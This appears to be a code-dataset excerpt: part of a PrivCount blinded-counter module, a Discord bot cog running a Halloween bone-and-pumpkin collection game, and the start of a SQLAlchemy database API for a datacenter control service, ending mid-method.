, 0, ... , modulus//2 - 1 } # This is equivalent to signed two's complement, if modulus is an integral # power of two # sanity check output # odd case # even case securely count any number of labels counters should be in the form like this: { 'CircuitCellsInOutRatio': { 'bins': [ [0.0, 0.1], [0.1, 0.25], [0.25, 0.5], [0.5, 0.75], [0.75, 0.9], [0.9, 1.0], [1.0, float('inf')], ], 'sigma': 2090007.68996 }, 'EntryCircuitInboundCellHistogram': { 'bins': [ [0.0, 512.0], [512.0, 1024.0], [1024.0, 2048.0], [2048.0, 4096.0], [4096.0, float('inf')], ], 'sigma': 2090007.68996 } } All of data collectors, share keepers, and tally server use this to store counters. It is used approximately like this: data collector: init(), generate_blinding_shares(), detach_blinding_shares(), generate_noise(), increment()[repeated], detach_counts() the blinding shares are sent to each share keeper the counts are sent to the tally server at the end share keeper: init(), import_blinding_share()[repeated], detach_counts() import..() uses the shares from each data collector the counts are sent to the tally server at the end tally server: init(), tally_counters(), detach_counts() tally..() uses the counts received from all of the data collectors and share keepers this produces the final, unblinded, noisy counts of the privcount process see privcount/test/test_counters.py for some test cases deepcopy counters and initialise each counter to 0L cast modulus to long and store it If require_generate_noise is True, assert if we did not add noise before detaching the counters # initialize all counters to 0L # counters use unlimited length integers to avoid overflow # bin is now, e.g.: [0.0, 512.0, 0L] for bin_left, bin_right, # count # take a copy of the zeroed counters to use when generating blinding # factors Check that the keys and bins in counter match self.counters Also check that each bin has a count. If these checks pass, return True. Otherwise, return False. # disregard sigma, it's only required at the data collectors If blinding_factors is None, generate and apply a counters structure containing uniformly random blinding factors. Otherwise, apply the passed blinding factors. If positive is True, apply blinding factors. Otherwise, apply unblinding factors. Returns the applied (un)blinding factors, or None on error. # if there are no blinding_factors, initialise them to zero # validate that the counter data structures match # determine the blinding factors # add the blinding factors to the counters # return the applied blinding factors Generate and apply a counters structure containing uniformly random blinding factors. Returns the generated blinding factors. # since we generate blinding factors based on our own inputs, a # failure here is a programming bug Generate unblinding factors from blinding_factors, and apply them to self.counters. Returns the applied unblinding factors. # since we generate unblinding factors based on network input, a # failure here should be logged, and the counters ignored Generate and apply blinding factors for each counter and share keeper uid. # add blinding factors to all of the counters # the caller can add additional annotations to this dictionary Generate and apply noise for each counter. # generate noise for each counter independently # exact halfway values are rounded towards even integers # values over 2**53 are not integer-accurate # but we don't care, because it's just noise # add the noise to each counter Deletes this class' reference to self.shares. Does not securely delete, as python does not have secure delete. Detaches and returns the value of self.shares. Typically, the caller then uses encrypt() on the returned shares. # TODO: secure delete # del only deletes the reference binding # deallocation is implementation-dependent Generate and apply reverse blinding factors to all of the counters. If encrypted, these blinding factors must be decrypted and decoded by the caller using decrypt(), before calling this function. Returns True if unblinding was successful, and False otherwise. A placeholder for the bin value of a counter with a single bin. This constant must be outside the range of every possible counter. Is bin_value between bin_min and bin_max? bin_min is always inclusive. bin_max is exclusive, except when it is inf, it includes inf. # make everything float for consistent comparisons # any value is <= inf, so we don't need to check if bin_value is inf Increment a bin in counter counter_name by inc. Uses is_in_bin() to work out which bin to increment. Example: secure_counters.increment('ExampleHistogram', bin=25, inc=1) If there is only one bin for the counter, you must pass SINGLE_BIN for bin: secure_counters.increment('ExampleCount', bin=SINGLE_BIN, inc=1) # check that we have the right types, and that we're not losing # precision # You must pass SINGLE_BIN if counter_name is a single bin # validate that the counter data structures match # ok, the counters match # success # first add up all of the counters together # now adjust so our tally can register negative counts # (negative counts are possible if noise is negative) Asserts if we needed to add noise, and didn't add it def prob_exit(consensus_path, my_fingerprint, fingerprint_pool=None): ''' this func is currently unused if it becomes used later, we must add stem as a required python library ''' from stem.descriptor import parse_file if fingerprint_pool == None: fingerprint_pool = [my_fingerprint] net_status = next(parse_file(consensus_path, document_handler='DOCUMENT', validate=False)) DW = float(net_status.bandwidth_weights['Wed'])/10000 EW = float(net_status.bandwidth_weights['Wee'])/10000 # we must use longs here, because otherwise sum_of_sq_bw can overflow on # platforms where python has 32-bit ints # (on these platforms, this happens when router_entry.bandwidth > 65535) my_bandwidth, DBW, EBW, sum_of_sq_bw = 0L, 0L, 0L, 0L if my_fingerprint in net_status.routers: my_bandwidth = net_status.routers[my_fingerprint].bandwidth for (fingerprint, router_entry) in net_status.routers.items(): if fingerprint not in fingerprint_pool or 'BadExit' in router_entry.flags: continue if 'Guard' in router_entry.flags and 'Exit' in router_entry.flags: DBW += router_entry.bandwidth sum_of_sq_bw += router_entry.bandwidth**2 elif 'Exit' in router_entry.flags: EBW += router_entry.bandwidth sum_of_sq_bw += router_entry.bandwidth**2 TEWBW = DBW*DW + EBW*EW prob = my_bandwidth/TEWBW sum_of_sq = sum_of_sq_bw/(TEWBW**2) return prob, sum_of_sq | 1.929594 | 2 |
cogs/pumpkins.py | lordclips/Spiders | 0 | 6616180 | import discord
import tinydb
import random
import time
import os
from discord.ext import commands
from discord.ext import tasks
from tinydb.middlewares import CachingMiddleware
from tinydb.table import Document
from tinydb import where
from tinydb.operations import add, subtract
from utils.orjson_storage import orjsonStore
CHANCE = 50 # 1/50 chance
BIGCHANCE = 300 # 1/300 chance
BONE = "\U0001F9B4"
BLOCKED_TYPES = [
discord.MessageType.pins_add,
discord.MessageType.new_member,
]
BLOCKED_IDS = [
433899503641165834,
457003317076426752,
741801343148097547,
]
class Pumpkins(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.db = tinydb.TinyDB(
os.path.join(self.bot.dirname, "cogs/pumpkins.json"),
storage=CachingMiddleware(orjsonStore),
)
@commands.Cog.listener()
async def on_ready(self):
self.check_table.start()
self.flush_loop.start()
# Listeners
@commands.Cog.listener()
async def on_message(self, message):
# Return on literally any of these being true.
if message.author.bot:
return
if message.channel.id in BLOCKED_IDS:
return
if message.type in BLOCKED_TYPES:
return
# Reusable variables.
uid = message.author.id
# Verify user exists.
await self.verify_user(uid)
message_table = self.db.table("message_table")
if random.randint(1, CHANCE) == 1:
# React with a bone.
await message.add_reaction(BONE)
message_table.insert(
Document({"acted": time.time(), "type": "normal"}, doc_id=message.id)
)
elif random.randint(1, BIGCHANCE) == 1:
# Post wandering skeleton.
smess = await message.channel.send(
embed=discord.Embed.from_dict(
{
"title": "Wandering skeleton encountered!",
"description": "12 people must react to get the rewards!",
"image": {
"url": "http://www.nobodyinlondon.com/wp-content/uploads/2015/05/skeleton-sculpture-investment-2.jpg"
},
}
)
)
message_table.insert(
Document({"acted": time.time(), "type": "wandering"}, doc_id=smess.id)
)
@commands.Cog.listener()
async def on_raw_reaction_add(self, payload):
# Ids for convenience
uid = payload.user_id
mid = payload.message_id
# Data models for actual use
user = self.bot.get_user(uid)
channel = self.bot.get_channel(payload.channel_id)
message = await channel.fetch_message(mid)
# Tables and documents
message_table = self.db.table("message_table")
user_table = self.db.table("user_table")
# Return on these conditions
if not payload.emoji.name == BONE:
return
if user.bot:
return
if not message_table.contains(doc_id=mid):
return
doc = message_table.get(doc_id=mid)
# User verification
await self.verify_user(uid)
# Conditionals
if doc["type"] == "normal":
# Variable declaration
udoc = user_table.get(doc_id=uid)
bones = int(random.randint(5, 10) * min(4, 1.0 + (0.1 * udoc["skeletons"])))
# Remove message from cache
message_table.remove(doc_ids=[mid])
# Update user bone count
user_table.update(add("bones", bones), doc_ids=[uid])
await channel.send(f"`{str(user)} has gained {bones} bones!`")
if doc["type"] == "wandering":
# Variable declaration
reaction = [r for r in message.reactions if r.emoji == BONE][0]
to_send = discord.Embed.from_dict(
{
"title": "Skeleton harvesters!",
"description": "The following people have earned 200 bones from participating:\n",
}
)
# Return if there are not enough reactions
if reaction.count < 12:
return
users = await reaction.users().flatten()
# Iterate over users and add to embed
for u in users:
to_send.description += f"{str(u)}\n"
# Give user 200 bones
user_table.update(add("bones", 200), doc_ids=[u.id])
# Remove message from cache
message_table.remove(doc_ids=[mid])
await channel.send(embed=to_send)
# Commands
@commands.command(aliases=("gb",))
@commands.is_owner()
async def give_bone(self, ctx, mid: int):
message = await ctx.message.channel.fetch_message(mid)
message_table = self.db.table("message_table")
message_table.insert(
Document({"acted": time.time(), "type": "normal"}, doc_id=message.id)
)
await message.add_reaction(BONE)
@commands.command(aliases=("ff",))
@commands.is_owner()
async def force_flush(self, ctx):
self.db.storage.flush()
@commands.command(aliases=("c",))
async def collection(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
udata = user_table.get(doc_id=uid)
await ctx.send(
f"`User inventory`\n"
f"`Bones:` {udata['bones']}\n"
f"`Pumpkins:` {udata['pumpkin']}\n"
f"`Skeletons:` {udata['skeletons']}\n"
f"`Hearts:` {udata['organs']['heart']}\n"
f"`Lungs:` {udata['organs']['lungs']}\n"
f"`Brains:` {udata['organs']['brain']}\n"
f"`Kidneys:` {udata['organs']['kidneys']}\n"
f"`Stomachs:` {udata['organs']['stomach']}\n"
f"`Frankenstein's Monsters:` {udata['fms']}"
)
@commands.command(aliases=("cs",))
async def craft_skeleton(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
if user_table.get(doc_id=uid)["bones"] >= 210:
user_table.update(subtract("bones", 210), doc_ids=[uid])
user_table.update(add("skeletons", 1), doc_ids=[uid])
await ctx.send("You have gained a skeleton!")
else:
await ctx.send(
"You do not have enough bones to gain a skeleton. (210 bones required)."
)
@commands.command(aliases=("cm",))
async def craft_monster(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
organs = user_table.get(doc_id=uid)["organs"]
if all(map(lambda n: n >= 5, organs.values())):
user_table.update(self.dec_dict("organs", 5), doc_ids=[uid])
user_table.update(add("fms", 1), doc_ids=[uid])
await ctx.send("You have gained a Frankenstein's Monster!")
else:
await ctx.send(
"You do not have enough organs to gain a Frankenstein's Monster. (5 of each required)."
)
@commands.command(aliases=("sp",))
async def smash_pumpkin(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
if user_table.get(doc_id=uid)["pumpkin"]:
user_table.update(subtract("pumpkin", 1), doc_ids=[uid])
item = random.choices(
["junk", "heart", "lungs", "brain", "kidneys", "stomach"],
weights=(25, 5, 5, 5, 5, 5),
)[0]
if item == "junk":
await ctx.send("You have earned junk.")
else:
user_table.update(self.upd_dict("organs", item, 1), doc_ids=[uid])
await ctx.send(f"You have earned: {item}")
else:
await ctx.send("You do not have any pumpkins to smash.")
@commands.command(aliases=("bup",))
async def buy_pumpkin(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
if user_table.get(doc_id=uid)["bones"] >= 100:
user_table.update(subtract("bones", 100), doc_ids=[uid])
user_table.update(add("pumpkin", 1), doc_ids=[uid])
await ctx.send("You have bought a pumpkin!")
else:
await ctx.send(
"You do not have enough bones to buy a pumpkin. (100 required)."
)
# Utils
async def verify_user(self, uid):
user_table = self.db.table("user_table")
if not user_table.contains(doc_id=uid):
user_table.insert(Document({"bones": 0, "skeletons": 0}, doc_id=uid))
def upd_dict(self, field, subfield, amount):
def transform(doc):
doc[field][subfield] += amount
return transform
def dec_dict(self, field, amount):
def transform(doc):
for key in doc[field]:
doc[field][key] -= amount
return transform
# Tasks
@tasks.loop(minutes=5.0)
async def check_table(self):
message_table = self.db.table("message_table")
# Removing regular bones and wandering skeletons
# under different criteria.
# 10 minutes for bones, 30 for wandering skeletons.
reg_rem = message_table.remove(
(where("acted") <= (time.time() - 60 * 10)) & (where("type") == "normal")
)
wan_rem = message_table.remove(
(where("acted") <= (time.time() - 60 * 30)) & (where("type") == "wandering")
)
if any([bool(reg_rem), bool(wan_rem)]):
await self.bot.send_log(
{
"title": "Rows removed from bones Database.",
"fields": [
{"name": "Bones", "value": f"{reg_rem} rows removed."},
{"name": "Wandering", "value": f"{wan_rem} rows removed."},
],
}
)
@tasks.loop(minutes=30.0)
async def flush_loop(self):
self.db.storage.flush()
await self.bot.send_log({"title": "Database force flushed."})
# Cogs funcs
def cog_unload(self):
self.db.close()
self.check_table.cancel()
self.flush_loop.cancel()
def setup(bot):
bot.add_cog(Pumpkins(bot))
| import discord
import tinydb
import random
import time
import os
from discord.ext import commands
from discord.ext import tasks
from tinydb.middlewares import CachingMiddleware
from tinydb.table import Document
from tinydb import where
from tinydb.operations import add, subtract
from utils.orjson_storage import orjsonStore
CHANCE = 50 # 1/50 chance
BIGCHANCE = 300 # 1/300 chance
BONE = "\U0001F9B4"
BLOCKED_TYPES = [
discord.MessageType.pins_add,
discord.MessageType.new_member,
]
BLOCKED_IDS = [
433899503641165834,
457003317076426752,
741801343148097547,
]
class Pumpkins(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.db = tinydb.TinyDB(
os.path.join(self.bot.dirname, "cogs/pumpkins.json"),
storage=CachingMiddleware(orjsonStore),
)
@commands.Cog.listener()
async def on_ready(self):
self.check_table.start()
self.flush_loop.start()
# Listeners
@commands.Cog.listener()
async def on_message(self, message):
# Return on literally any of these being true.
if message.author.bot:
return
if message.channel.id in BLOCKED_IDS:
return
if message.type in BLOCKED_TYPES:
return
# Reusable variables.
uid = message.author.id
# Verify user exists.
await self.verify_user(uid)
message_table = self.db.table("message_table")
if random.randint(1, CHANCE) == 1:
# React with a bone.
await message.add_reaction(BONE)
message_table.insert(
Document({"acted": time.time(), "type": "normal"}, doc_id=message.id)
)
elif random.randint(1, BIGCHANCE) == 1:
# Post wandering skeleton.
smess = await message.channel.send(
embed=discord.Embed.from_dict(
{
"title": "Wandering skeleton encountered!",
"description": "12 people must react to get the rewards!",
"image": {
"url": "http://www.nobodyinlondon.com/wp-content/uploads/2015/05/skeleton-sculpture-investment-2.jpg"
},
}
)
)
message_table.insert(
Document({"acted": time.time(), "type": "wandering"}, doc_id=smess.id)
)
@commands.Cog.listener()
async def on_raw_reaction_add(self, payload):
# Ids for convenience
uid = payload.user_id
mid = payload.message_id
# Data models for actual use
user = self.bot.get_user(uid)
channel = self.bot.get_channel(payload.channel_id)
message = await channel.fetch_message(mid)
# Tables and documents
message_table = self.db.table("message_table")
user_table = self.db.table("user_table")
# Return on these conditions
if not payload.emoji.name == BONE:
return
if user.bot:
return
if not message_table.contains(doc_id=mid):
return
doc = message_table.get(doc_id=mid)
# User verification
await self.verify_user(uid)
# Conditionals
if doc["type"] == "normal":
# Variable declaration
udoc = user_table.get(doc_id=uid)
bones = int(random.randint(5, 10) * min(4, 1.0 + (0.1 * udoc["skeletons"])))
# Remove message from cache
message_table.remove(doc_ids=[mid])
# Update user bone count
user_table.update(add("bones", bones), doc_ids=[uid])
await channel.send(f"`{str(user)} has gained {bones} bones!`")
if doc["type"] == "wandering":
# Variable declaration
reaction = [r for r in message.reactions if r.emoji == BONE][0]
to_send = discord.Embed.from_dict(
{
"title": "Skeleton harvesters!",
"description": "The following people have earned 200 bones from participating:\n",
}
)
# Return if there are not enough reactions
if reaction.count < 12:
return
users = await reaction.users().flatten()
# Iterate over users and add to embed
for u in users:
to_send.description += f"{str(u)}\n"
# Give user 200 bones
user_table.update(add("bones", 200), doc_ids=[u.id])
# Remove message from cache
message_table.remove(doc_ids=[mid])
await channel.send(embed=to_send)
# Commands
@commands.command(aliases=("gb",))
@commands.is_owner()
async def give_bone(self, ctx, mid: int):
message = await ctx.message.channel.fetch_message(mid)
message_table = self.db.table("message_table")
message_table.insert(
Document({"acted": time.time(), "type": "normal"}, doc_id=message.id)
)
await message.add_reaction(BONE)
@commands.command(aliases=("ff",))
@commands.is_owner()
async def force_flush(self, ctx):
self.db.storage.flush()
@commands.command(aliases=("c",))
async def collection(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
udata = user_table.get(doc_id=uid)
await ctx.send(
f"`User inventory`\n"
f"`Bones:` {udata['bones']}\n"
f"`Pumpkins:` {udata['pumpkin']}\n"
f"`Skeletons:` {udata['skeletons']}\n"
f"`Hearts:` {udata['organs']['heart']}\n"
f"`Lungs:` {udata['organs']['lungs']}\n"
f"`Brains:` {udata['organs']['brain']}\n"
f"`Kidneys:` {udata['organs']['kidneys']}\n"
f"`Stomachs:` {udata['organs']['stomach']}\n"
f"`Frankenstein's Monsters:` {udata['fms']}"
)
@commands.command(aliases=("cs",))
async def craft_skeleton(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
if user_table.get(doc_id=uid)["bones"] >= 210:
user_table.update(subtract("bones", 210), doc_ids=[uid])
user_table.update(add("skeletons", 1), doc_ids=[uid])
await ctx.send("You have gained a skeleton!")
else:
await ctx.send(
"You do not have enough bones to gain a skeleton. (210 bones required)."
)
@commands.command(aliases=("cm",))
async def craft_monster(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
organs = user_table.get(doc_id=uid)["organs"]
if all(map(lambda n: n >= 5, organs.values())):
user_table.update(self.dec_dict("organs", 5), doc_ids=[uid])
user_table.update(add("fms", 1), doc_ids=[uid])
await ctx.send("You have gained a Frankenstein's Monster!")
else:
await ctx.send(
"You do not have enough organs to gain a Frankenstein's Monster. (5 of each required)."
)
@commands.command(aliases=("sp",))
async def smash_pumpkin(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
if user_table.get(doc_id=uid)["pumpkin"]:
user_table.update(subtract("pumpkin", 1), doc_ids=[uid])
item = random.choices(
["junk", "heart", "lungs", "brain", "kidneys", "stomach"],
weights=(25, 5, 5, 5, 5, 5),
)[0]
if item == "junk":
await ctx.send("You have earned junk.")
else:
user_table.update(self.upd_dict("organs", item, 1), doc_ids=[uid])
await ctx.send(f"You have earned: {item}")
else:
await ctx.send("You do not have any pumpkins to smash.")
@commands.command(aliases=("bup",))
async def buy_pumpkin(self, ctx):
user_table = self.db.table("user_table")
uid = ctx.author.id
await self.verify_user(uid)
if user_table.get(doc_id=uid)["bones"] >= 100:
user_table.update(subtract("bones", 100), doc_ids=[uid])
user_table.update(add("pumpkin", 1), doc_ids=[uid])
await ctx.send("You have bought a pumpkin!")
else:
await ctx.send(
"You do not have enough bones to buy a pumpkin. (100 required)."
)
# Utils
async def verify_user(self, uid):
user_table = self.db.table("user_table")
if not user_table.contains(doc_id=uid):
user_table.insert(Document({"bones": 0, "skeletons": 0}, doc_id=uid))
def upd_dict(self, field, subfield, amount):
def transform(doc):
doc[field][subfield] += amount
return transform
def dec_dict(self, field, amount):
def transform(doc):
for key in doc[field]:
doc[field][key] -= amount
return transform
# Tasks
@tasks.loop(minutes=5.0)
async def check_table(self):
message_table = self.db.table("message_table")
# Removing regular bones and wandering skeletons
# under different criteria.
# 10 minutes for bones, 30 for wandering skeletons.
reg_rem = message_table.remove(
(where("acted") <= (time.time() - 60 * 10)) & (where("type") == "normal")
)
wan_rem = message_table.remove(
(where("acted") <= (time.time() - 60 * 30)) & (where("type") == "wandering")
)
if any([bool(reg_rem), bool(wan_rem)]):
await self.bot.send_log(
{
"title": "Rows removed from bones Database.",
"fields": [
{"name": "Bones", "value": f"{reg_rem} rows removed."},
{"name": "Wandering", "value": f"{wan_rem} rows removed."},
],
}
)
@tasks.loop(minutes=30.0)
async def flush_loop(self):
self.db.storage.flush()
await self.bot.send_log({"title": "Database force flushed."})
# Cogs funcs
def cog_unload(self):
self.db.close()
self.check_table.cancel()
self.flush_loop.cancel()
def setup(bot):
bot.add_cog(Pumpkins(bot))
| en | 0.706438 | # 1/50 chance # 1/300 chance # Listeners # Return on literally any of these being true. # Reusable variables. # Verify user exists. # React with a bone. # Post wandering skeleton. # Ids for convenience # Data models for actual use # Tables and documents # Return on these conditions # User verification # Conditionals # Variable declaration # Remove message from cache # Update user bone count # Variable declaration # Return if there are not enough reactions # Iterate over users and add to embed # Give user 200 bones # Remove message from cache # Commands # Utils # Tasks # Removing regular bones and wandering skeletons # under different criteria. # 10 minutes for bones, 30 for wandering skeletons. # Cogs funcs | 2.361271 | 2 |
dao/control/db/api.py | Symantec/dao-control | 0 | 6616181 | # Copyright 2016 Symantec, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import itertools
import six
from dao.common import config
from dao.control import exceptions
from dao.control.db import model as models
from dao.control.db.session_api import get_session, Session
from sqlalchemy import or_
from sqlalchemy.orm import exc as sa_exc
from sqlalchemy.orm import joinedload
CONF = config.get_config()
class Session(object):
def __init__(self):
self.session = None
def __enter__(self):
self.session = get_session()
return self.session
def __exit__(self, exc_type, exc_val, exc_tb):
if self.session:
self.session.close()
def _read_deleted_filter(query, db_model, deleted):
if 'deleted' not in db_model.__table__.columns:
raise ValueError(("There is no `deleted` column in `%s` table. "
"Project doesn't use soft-deleted feature.")
% db_model.__name__)
default_deleted_value = db_model.__table__.c.deleted.default.arg
if deleted:
query = query.filter(db_model.deleted != default_deleted_value)
else:
query = query.filter(db_model.deleted == default_deleted_value)
return query
def model_query(model,
args=None,
session=None,
read_deleted='no'):
"""Query helper that accounts for context's `read_deleted` field.
:param model: Model to query. Must be a subclass of ModelBase.
:param args: Arguments to query. If None - model is used.
:param session: If present, the session to use.
:param read_deleted: Permitted values are 'no', which does not return
deleted values; 'only', which only returns deleted
values; and 'yes', which does not filter deleted
values.
"""
if not issubclass(model, models.Base):
raise TypeError("model should be a subclass of ModelBase")
if session is None:
session = get_session()
if 'no' == read_deleted:
deleted = False
elif 'only' == read_deleted:
deleted = True
elif 'yes' == read_deleted:
deleted = None
else:
raise ValueError("Unrecognized read_deleted value '%s'" % read_deleted)
query = session.query(model) if not args else session.query(*args)
if deleted is not None:
query = _read_deleted_filter(query, model, deleted)
return query
class Driver(object):
def __init__(self):
# Patch exceptions
sa_exc.NoResultFound = exceptions.DAONotFound
def objects_get_by(self, cls, joins, loads, **kwargs):
cls = getattr(models, cls)
joins = [getattr(models, join) for join in joins]
return self._object_get_by(cls, joins, loads, **kwargs).all()
@staticmethod
def worker_register(name, worker_url, location):
""" Ensure worker record exists. Update worker_url field.
:rtype: models.Worker
"""
with Session() as session:
try:
worker = model_query(models.Worker, session=session).filter_by(
name=name, location=location).one()
worker.worker_url = worker_url
worker.save(session)
except exceptions.DAONotFound:
worker = models.Worker()
worker.worker_url = worker_url
worker.name = name
worker.location = location
worker.save(session)
return worker
@staticmethod
def worker_get_by_rack(rack_name):
"""
:type rack_name: str
:rtype: models.Worker
"""
worker = model_query(models.Worker).join(models.Rack)
return worker.filter(models.Rack.name == rack_name).one()
@staticmethod
def worker_list(**kwargs):
"""
:type kwargs: dict
:rtype: list of models.Worker
"""
return model_query(models.Worker).filter_by(**kwargs).all()
@staticmethod
def worker_get(**kwargs):
"""
:type kwargs: dict
:rtype: models.Worker
"""
return model_query(models.Worker).filter_by(**kwargs).one()
def sku_create(self, location, name, cpu, ram, storage, description=''):
""" Create new SKU object
:rtype: models.Sku
"""
with Session() as session:
try:
self.sku_get(name)
raise exceptions.DAOConflict('SKU <{0}> already exists'.
format(name))
except exceptions.DAONotFound:
sku = models.Sku()
sku.name = name
sku.location = location or CONF.common.location
sku.cpu = cpu
sku.ram = ram
sku.storage = storage
sku.description = description
sku.save(session)
return sku
@staticmethod
def sku_get(sku_name):
""" Request SKU object
:rtype: models.Sku
"""
query = model_query(models.Sku).filter_by(
location=CONF.common.location, name=sku_name)
return query.one()
@staticmethod
def sku_get_all(location=None):
""" Request all SKU object
:rtype: list of models.Sku
"""
location = location or CONF.common.location
return model_query(models.Sku).filter_by(location=location).all()
@staticmethod
def cluster_get(name):
""" Request Cluster object by name
:rtype: models.Cluster
"""
return model_query(models.Cluster).filter_by(
location=CONF.common.location, name=name).one()
@staticmethod
def cluster_list(**kwargs):
""" Request Cluster objects by arguments
:rtype: list of models.Cluster
"""
return model_query(models.Cluster).filter_by(
location=CONF.common.location, **kwargs).all()
def cluster_create(self, location, name, cluster_type):
""" Create Cluster object.
:rtype: models.Cluster
"""
try:
self.cluster_get(name)
raise exceptions.DAOConflict('Cluster {0} already exists'.
format(name))
except exceptions.DAONotFound:
cluster = models.Cluster()
cluster.name = name
cluster.type = cluster_type
cluster.location = location or CONF.common.location
cluster.save()
return cluster
@staticmethod
def network_map_list(**kwargs):
""" Request list NetworkMap by arguments
:rtype: list of models.NetworkMap
"""
return model_query(models.NetworkMap).filter_by(**kwargs).all()
@staticmethod
def network_map_get(name):
""" Request single NetworkMap by name
:rtype: models.NetworkMap
"""
return model_query(models.NetworkMap).filter_by(name=name).one()
@staticmethod
def network_map_get_by(**kwargs):
""" Request single NetworkMap by arguments
:rtype: models.NetworkMap
"""
return model_query(models.NetworkMap).filter_by(**kwargs).one()
def network_map_create(self, name, port2number, number2unit,
pxe_nic, network):
""" Create NetworkMap new object
:rtype: models.NetworkMap
"""
try:
self.network_map_get(name)
raise exceptions.DAOConflict('Networking map {0} already exists'.
format(name))
except exceptions.DAONotFound:
net_map = models.NetworkMap()
net_map.name = name
net_map.mgmt_port_map = port2number
net_map.number2unit = number2unit
net_map.pxe_nic = pxe_nic
net_map.network = network
net_map.save()
return net_map
@staticmethod
def asset_create(rack, **kwargs):
with Session() as session:
asset = models.Asset()
asset.update(kwargs)
asset.rack_id = rack.id
asset.save(session)
return asset
def assets_get_by(self, **kwargs):
with Session() as session:
r = self._object_get_by(models.Asset, [models.Rack], ['rack'],
session=session, **kwargs)
return r.all()
def asset_get_by(self, **kwargs):
with Session() as session:
r = self._object_get_by(models.Asset, [models.Rack], ['rack'],
session=session, **kwargs)
return r.one()
def subnets_get(self, rack_name, vlan=None):
"""
Return list of dicts with info on subnets assigned to ToR switch.
:type rack_name:
:rtype: list of models.Subnet
"""
nds = self.network_device_get_by_rack(rack_name)
net_ips = [list(if_.net_ip for if_ in nd.interfaces.values()
if if_.net_ip)
for nd in nds]
if net_ips:
net_ips = list(itertools.chain(*net_ips))
return self.subnets_get_by_ips(net_ips, vlan)
else:
return []
@staticmethod
def subnets_get_by_ips(ips, vlan=None):
"""
Request subnets with specific ips and subnet type
:type ips: list of str
:type net_type: str
:rtype: list of models.Subnet
"""
obj_cls = models.Subnet
ips = list(ips)
if not ips:
return []
filters = [obj_cls.ip.in_(ips),
obj_cls.location == CONF.common.location]
if vlan:
filters.append(obj_cls.vlan_tag == vlan)
query = model_query(obj_cls).filter(*filters)
return query.all()
def subnets_get_by(self, **kwargs):
"""
Request subnets by parameters (joined by 'and' logic)
:type kwargs: dict
:rtype: list of models.Subnet
"""
cls = models.Subnet
filters = dict(location=CONF.common.location)
filters.update(kwargs)
return self._object_get_by(cls, [], [], **filters).all()
def subnet_create(self, values):
return self._create_object(models.Subnet, values)
@classmethod
def rack_get(cls, **kwargs):
"""
:param kwargs: args to be used as a filter to get rack. Are joined
using 'and' logic
:rtype: models.Rack
"""
with Session() as session:
obj_cls = models.Rack
return cls._object_get_by(
obj_cls, [], ['_network_map', '_worker'],
session=session,
**kwargs).one()
@staticmethod
def rack_update(rack):
"""
:type rack: models.Rack
:rtype: models.Rack
"""
with Session() as session:
rack.save(session)
return rack
@classmethod
def rack_get_by_subnet_ip(cls, ip):
"""
:type ip: str
:rtype: models.Rack
"""
with Session() as session:
nds = cls._object_get_by(
models.NetworkDevice,
[models.SwitchInterface], # Join on interfaces
['asset.rack._network_map', '_interfaces'],
session=session, **{'_interfaces.net_ip': ip}).all()
racks = set(nd.asset.rack.id for nd in nds)
if racks:
if len(racks) == 1:
return nds[0].asset.rack
else:
raise exceptions.DAOManyFound('More than one rack for {0}'.
format(ip))
else:
raise exceptions.DAONotFound('No rack found for {0}'.
format(ip))
@classmethod
def rack_get_all(cls, **kwargs):
"""
:type kwargs: dict
:rtype: list of models.Rack
"""
with Session() as session:
joins = []
if [k for k in kwargs.keys() if 'network_map.' in k]:
joins.append(models.NetworkMap)
if [k for k in kwargs.keys() if 'worker.' in k]:
joins.append(models.Worker)
return cls._object_get_by(models.Rack,
joins,
['_worker', '_network_map'],
session=session, **kwargs).all()
def racks_get_by_worker(self, worker):
"""
:rtype: list of models.Rack
"""
return self.rack_get_all(**{'worker.id': worker.id})
def rack_create(self, values):
return self._create_object(models.Rack, values)
@classmethod
def _network_device_base(cls, join, **kwargs):
load = ['asset.rack', '_interfaces']
r = cls._object_get_by(models.NetworkDevice,
join,
load,
**kwargs)
return r
@classmethod
def network_device_get_by_rack(cls, rack_name):
join = [models.Asset, models.Rack]
r = cls._network_device_base(join, **{'asset.rack.name': rack_name})
return r.all()
@classmethod
def network_device_get_by(cls, **kwargs):
join = [models.Asset, models.Rack]
filters = {'asset.location': CONF.common.location}
filters.update(kwargs)
r = cls._network_device_base(join, **filters)
return r.all()
def server_create(self, cluster, asset, **kwargs):
"""
:type server: models.Asset
:return:
"""
try:
server = models.Server()
server.update(kwargs)
server.asset_id = asset.id
server.cluster_id = cluster.id
self.server_get_by(**{'asset.serial': asset.serial})
raise exceptions.DAOConflict('Server %r exists' % server)
except exceptions.DAONotFound:
with Session() as session:
server.save(session)
return server
@classmethod
def server_update_sku(cls, server, sku):
"""Update single server using server key
:type server: models.Server
:type sku: models.Sku
:rtype: models.Server"""
server.sku_id = sku.id
return cls.server_update(server)
@classmethod
def server_update(cls, server, comment=None, log=False, reload=False):
"""Update single server using server key
:type server: models.Server
:rtype: models.Server"""
if comment is not None:
server.message = comment
cls.update(server, log=log)
if reload:
return cls.server_get_by(id=server.id)
else:
return server
def servers_get_by_worker(self, worker, **kwargs):
with Session() as session:
kwargs['asset.rack.worker_id'] = worker.id
return self.servers_get_by(session=session, **kwargs)
@classmethod
def servers_get_by(cls, **kwargs):
"""
:param kwargs: filters joined by AND logic
:rtype: list of models.Server
"""
